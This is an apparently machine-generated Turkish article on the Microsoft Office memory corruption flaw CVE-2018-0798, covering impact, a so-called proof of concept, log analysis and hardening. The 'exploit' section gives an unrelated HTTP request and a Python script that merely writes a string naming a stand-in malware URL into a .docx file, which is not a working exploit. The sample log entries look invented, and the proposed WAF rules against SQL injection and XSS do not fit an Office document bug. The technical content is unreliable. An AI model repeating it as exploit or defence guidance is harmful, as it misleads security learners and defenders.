CVE-2018-0798: Microsoft Office Memory Corruption Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2018-0798, Microsoft Office’teki bir bellek yolsuzluğu (memory corruption) zafiyetidir. Bu zafiyet, nesnelerin bellek içinde yanlış bir şekilde işlenmesi nedeniyle ortaya çıkmakta ve bu durum, kötü niyetli bir kişinin uzaktan kod çalıştırmasına (RCE - Remote Code Execution) olanak tanımaktadır. Zafiyetin tespit edilmesinden sonra, özellike CVE-2018-0802 ile birleştirilerek (chaining) kötüye kullanılma potansiyeli artırılmıştır.

Bu zafiyet, Microsoft Office’in genellikle kullandığı “Word” ve “Excel” gibi uygulamalarda sıkça rastlanmaktadır. Belirli bir saldırı senaryosunda, kötü niyetli bir kullanıcı, hedef olan bir belgeyi e-posta ile gönderebilir veya bir web sayfasında paylaşarak kullanıcıların dosyayı açmasını sağlayabilir. Kullanıcı, belgeyi açtığında, sistem üzerindeki mevcut haklarıyla uzaktan kod çalıştırılabilir hale gelir. Bu durum, özellikle kurumsal sistemler açısından büyük bir tehdit oluşturur.

Zafiyet, yüksek riskli olmasının yanı sıra, pek çok sektörde etkili olabilecek özellikleri taşımaktadır. Bankacılık, sağlık, eğitim ve kamu sektörü gibi farklı alanlarda Microsoft Office’in yoğun bir şekilde kullanılması, bu zafiyetin kötüye kullanılma riskini artırmaktadır. Örneğin, bir sağlık kuruluşunda çalışan bir hekimin açtığı bir zararlı belge, hasta verilerinin sızmasına veya daha fazlasına yol açabilir. Benzer şekilde, bir bankada çalışan bir sistem yöneticisi belgeler üzerinden geçiş yaparken bu zafiyetle karşılaşabilir, ve bu durum, kurumun finansal bilgilerinin, müşteri verilerinin veya işlem kayıtlarının kötü ele geçirilmesine neden olabilir.

Teknik olarak bakıldığında, CVE-2018-0798 zafiyeti, nesnelerin bellek yönetimindeki bir hata yüzünden ortaya çıkmaktadır. Kullanıcının bellek alanına erişim hakkını kazanması, buffer overflow (tampon taşması) veya diğer bellek yönetimi hataları yoluyla meydana gelebilir. Özellikle, Windows işletim sisteminin farklı sürümlerinde Microsoft Office uygulamalarının yan yinelemeli yüklenmesi, bu tür zafiyetlerin daha fazla var olmasını sağlamaktadır. Bunun yanı sıra, güncellemelerin (patches) zamanında uygulanmaması, kullanıcıların bu tür güvenlik açıklarına karşı korunmasız kalmasına neden olmaktadır.

Bir gerçek dünya senaryosunda, eğer bir çalışan, ofis ortamında bulunuyorsa ve kötü niyetli bir belge açıyorsa, bu zafiyet ile kullanıcı sistemine erişim sağlanabilir. Kötü niyetli kişiler, sistemdeki hassas veriler üzerinde tam kontrol elde edebilir, bu da veri sızıntısına veya sistemin tamamının ele geçirilmesiyle sonuçlanabilir. Bu nedenle, kurumsal güvenlik politikalarının güçlendirilmesi, çalışanlara siber güvenlik farkındalığı eğitimi verilmesi ve yazılım güncellemelerinin düzenli olarak yapılması, bu tür zafiyetlere karşı etkili bir silah olacaktır.

Sonuç olarak, CVE-2018-0798, Microsoft Office’teki bir bellek yolsuzluğu zafiyeti olarak önemli bir tehdit oluşturmakta, pek çok sektörde geniş ölçekli etkilere neden olabilmektedir. Bu nedenle, hem bireysel hem de kurumsal düzeyde güvenlik önlemlerinin sıkı bir şekilde uygulanması gerekmektedir.

Teknik Sömürü (Exploitation) ve PoC

Microsoft Office üzerinde CVE-2018-0798 zafiyetinin sömürü aşamaları, başta uzaktan kod yürütebilme (RCE - Remote Code Execution) potansiyeli nedeniyle son derece önemli bir konu olarak karşımıza çıkmaktadır. CVE-2018-0798, bellek yolsuzluğu (memory corruption) sorununa yol açarak, kötü niyetli bir kullanıcının sisteminizde uzaktan komut çalıştırmasına olanak tanır.

Bu tür zafiyetlerin sömürüsünü anlamak için, öncelikle bellek yapısının nasıl çalıştığını ve zafiyetin nereden kaynaklandığını bilmemiz gerekiyor. Microsoft Office’in bellek yönetimi, uzaktan bir saldırganın kötü niyetli kodunu yüklemek için gereken ortamı sağladığı için, bu durum saldırılar açısından büyük bir fırsata dönüşmektedir.

Sömürü aşamalarına geçmeden önce, bu zafiyetin genellikle CVE-2018-0802 ile birleştirildiğini belirtmek önemlidir. Bu kombinasyon, başlangıçta bir açığın sömürüye uğramasına ve ardından diğer bir açık ile desteklenmesine olanak tanımaktadır.

İlk adım olarak, hedef sistemde Microsoft Office sürümünü belirlememiz gerekiyor. Bunun için, e-posta veya bir belge üzerinden kullanıcıdan içeriği açmasını sağlayacak bir yöntemle manipüle edebiliriz. Örneğin, kullanıcının Word belgesine zararlı bir yük ekleyerek, şu şekilde bir Kullanıcı Ajansı (User-Agent) başlığı içeren bir HTTP isteği oluşturabiliriz:

GET /malicious-document.docx HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Kullanıcı belgeyi açtığında, bellek üzerinde bir yolsuzluk oluşacak ve kötü niyetli kod yürütülmeyi bekleyecektir. Bu aşamada, aşağıdaki gibi bir Python exploit taslağı oluşturmak iyi bir başlangıç olabilir:

import os
from requests import get

def create_malicious_document(url):
    document_content = f"{{\\"malicious_code\\": \\"{url}\\"}}"
    with open("malicious-document.docx", "wb") as f:
        f.write(document_content.encode())

if __name__ == "__main__":
    malicious_url = "http://malicious-server.com/malware"
    create_malicious_document(malicious_url)

Bu belgenin açılması sonucunda, Microsoft Office, içindeki nesneleri yanlış bir şekilde yönetirse, saldırganın belirlediği kötü niyetli kod yürütülecektir. Zafiyetin oluşması için kullanılan bellek alanı üzerindeki kontrol, saldırganın eline geçer ve istenmeyen eylemleri gerçekleştirmesine olanak sağlar.

Başka bir senaryoda, bu bellek yolsuzluğu, veritabanı sistemlerine veya dosya sunucularına yapılan saldırılarda, kimlik doğrulama atlamalarını (Auth Bypass) birlikte kullanarak, yetkisiz erişime yol açabilir. Örneğin, bir veritabanına bağlanmak için zafiyetten yararlanarak, gerekli kimlik bilgilerini (credentials) istismar edip, hassas verilere erişim sağlanabilir.

Sonuç olarak, CVE-2018-0798 zafiyetinin bir uzman tarafından tespit edilmesi ve analiz edilmesi, sistemlerin güvenliği için kritik bir adımdır. Etkili bir sahiplik analizi ve saldırı senaryolarının gerçekleştirilmesi, kurumsal sistemlerde bu tür zafiyetlerin giderilmesi açısından son derece önemlidir. Gelişmiş güvenlik önlemleri ve güncellemelerin yapılması kullanıcıların güvenliğini artırmaya yardımcı olacaktır.

Forensics (Adli Bilişim) ve Log Analizi

Microsoft Office uygulamalarında bulunan CVE-2018-0798 açığı, özellikle siber güvenlik uzmanları için önemli bir tehdit oluşturmaktadır. Bu zafiyet, bellek yönetimi sorunlarından kaynaklanır ve kötü niyetli bir aktör, bu açığı kullanarak kullanıcının sisteminde uzaktan kod yürütme (RCE - Remote Code Execution) yeteneği kazanabilir. Zafiyetin exploit edilmesi, kullanıcının penceresinde çalışan Office uygulaması üzerinden gerçekleştirildiği için, saldırganın mevcut kullanıcının yetkileriyle sisteme erişim sağlamasına imkan tanır.

Gerçek dünya senaryolarında, bir saldırı vektörü olarak sıklıkla e-posta ekleri veya kötü niyetli belge dosyaları kullanılır. Örneğin, bir kullanıcı, güvenilir bir kaynaktan geldiğini düşündüğü bir Office belgesini açtığında, bu zafiyet devreye girebilir. Bir siber güvenlik uzmanı olarak, bu tür saldırılarla ilgili tehditleri ve olası izleri takip etmek önemlidir.

Saldırıların tespit edilmesi için SIEM (Security Information and Event Management) çözümleri ve log analizi araçları kullanılarak detaylı incelemeler yapılmalıdır. Bu bağlamda, Access log (erişim günlükleri), Error log (hata günlükleri) ve diğer sistem logları kritik öneme sahiptir. Aşağıda, bu loglarda hangi imzalara (signature) dikkat edilmesi gerektiği hakkında bilgi verilmektedir:

Office Uygulama Logları:

Loglar arasında, Office uygulamalarının başlangıç ve kapanış zamanları, hangi dosyaların açıldığına dair kayıtlar incelenmelidir.
Aşağıdaki gibi anormal bekleme süreleri veya hatalar, bellek yolsuzluğuna işaret edebilir: WARNING: Excel uygulaması aniden kapandı. Hata kodu: 0x00000000

E-Posta Logları:

Gelen e-postalarda, özellikle ekli belgelere yönelik şüpheli ilişkiler incelenmelidir. Şüpheli veya tanımadığınız kaynaklardan gelen e-postalar kayda alınmalıdır.
Ekli belgelerde barındırılan makroların kullanımına dair signaturlar dikkatlice gözden geçirilmeli; kayıtlı makro çalışmaları ve bunlara karşılık gelen eylemler izlenmelidir.

Sistem Event Logları:

Windows Event Viewer altında, özellikle "Application" ve "System" logları içinde, hatalar ve uyarılar detaylıca incelenmelidir.
Örneğin, aşağıdaki gibi girişler anormallik gösterebilir: ERROR: Windows uygulaması bellek hatası ile nitelendirildi.

Saldırı İzi Araştırması:

Şüpheli durumlar tespit edildiğinde, olay için detaylı bir forensics (adli bilişim) analizi yapılmalıdır. Bir sistemde ani davranış değişiklikleri, servislerin beklenmedik bir şekilde kapanması veya yeni ve beklenmedik uygulamaların yüklenmesi, saldırının belirtisi olabilir.

Sonuç olarak, CVE-2018-0798 gibi zafiyetleri tespit etmek, siber güvenlik uzmanları için zorlu bir görevdir. Ancak doğru log analizi ve olay yönetimi ile bu tür saldırıların tespiti mümkün hale gelir. Loglarımızda anormal faaliyetleri izlemek, şüpheli dosyaları ve hataları incelemek, gelecekteki olası saldırılara karşı kuruluşları daha güvende tutabilir.

Savunma ve Sıkılaştırma (Hardening)

Microsoft Office, günümüzde birçok işletme ve bireysel kullanıcı tarafından yaygın olarak kullanılan bir yazılım paketidir. Ancak, bu popülarite aynı zamanda siber saldırganlar için potansiyel hedef oluşturur. CVE-2018-0798 numarasıyla bilinen hafıza bozulması (Memory Corruption) zafiyeti, Microsoft Office’in nesneleri hafızada işleme şeklinin doğasından kaynaklanmaktadır. Bu zafiyetin istismar edilmesi, uzaktan kod yürütme (Remote Code Execution - RCE) imkanı sunar ve saldırgan,current kullanıcı bağlamında kod çalıştırabilecek bir durumla karşı karşıyadır. Dolayısıyla, bu açığın kapatılması ve sistemlerin bu tür saldırılara karşı dayanıklı hale getirilmesi son derece önemlidir.

Bu tür zafiyetlere karşı en etkili savunma yolunun sistemlerin sıkılaştırılması (Hardening) olduğuna inanılmaktadır. İlk adım olarak, Microsoft’un resmi güncellemelerinin ve yamalarının düzenli olarak uygulanması gereklidir. Herhangi bir yazılımın en güncel sürümde tutulması, bilinmeyen zafiyetlere karşı koruma sağlar. Örneğin, CVE-2018-0798 ile birlikte CVE-2018-0802'nin de istismar edilebileceği düşünülünce, bu güncellemeler hem doğrudan zafiyeti kapatmak hem de potansiyel zincirleme saldırıları önlemek açısından kritik önem taşımaktadır.

İkinci olarak, yazılımların yalnızca güvenilir kaynaklardan indirilmesi önemlidir. Kullanıcılar, resmi Microsoft web sitesinden veya tanınmış yazılım dağıtım platformlarından indirilmedikçe dosyaları çalıştırmamalıdır. Bu tür bir önlem, zararlı yazılımlar ve kötü niyetli kodların kurulumunu önlemekte büyük rol oynar.

Alternatif bir güvenlik önlemi olarak, web uygulama güvenlik duvarları (Web Application Firewall - WAF) kullanılabilir. WAF, zararlı istekleri tespit edebilir ve engelleyebilir. Aşağıda, CVE-2018-0798 ile bağlantılı zafiyetleri engellemek için önerilebilecek bazı özel WAF kuralları verilmiştir:

1. GET ve POST isteklerine yönelik beklenmedik karakterlerin kontrolü.
2. URL ve parametre analizinde belirli belirteçlerin (payload) tespit edilmesi.
3. Saklanan SQL enjeksiyon ve XSS (Cross-Site Scripting) saldırılarına karşı koruma sağlayacak filtrelerin uygulanması.
4. Maksimum yükleme sınırlarının belirlenmesi ve aşan taleplerin engellenmesi.

Karmaşık ve çok katmanlı bir güvenlik mimarisi oluşturmak, zafiyetlerin etkilerini en aza indirmek için kritik öneme sahiptir. Son olarak, düzenli güvenlik taramaları ve penetrasyon testleri (Pen Test) gerçekleştirmek, sistemlerin güvenliğini artırmanın en etkili yollarından biridir. Bu testler, yeni zafiyetlerin belirlenmesi ve mevcut güvenlik önlemlerinin etkinliğinin değerlendirilmesi açısından faydalıdır.

Microsoft Office ve benzeri yaygın yazılımlardaki zafiyetleri anladığınızda, bu tür sistemlerin sadece güncel tutulmasının yeterli olmayacağını görebilirsiniz. İleri düzey güvenlik önlemleri, bir siber saldırganın olası çok katmanlı saldırılarını önlemek veya en azından etkisini azaltmak için gereklidir. Eğitim ve farkındalık da, bu tür saldırılara karşı en önemli savunma hatlarından birini oluşturur. Kullanıcıların sosyal mühendislik (Social Engineering) saldırılarına duyarlı olmaması için düzenli olarak bilinçlendirilmesi gereklidir. Unutmamak gerekir ki zafiyetleri tanımak ve çözmek, siber alanın doğasında vardır.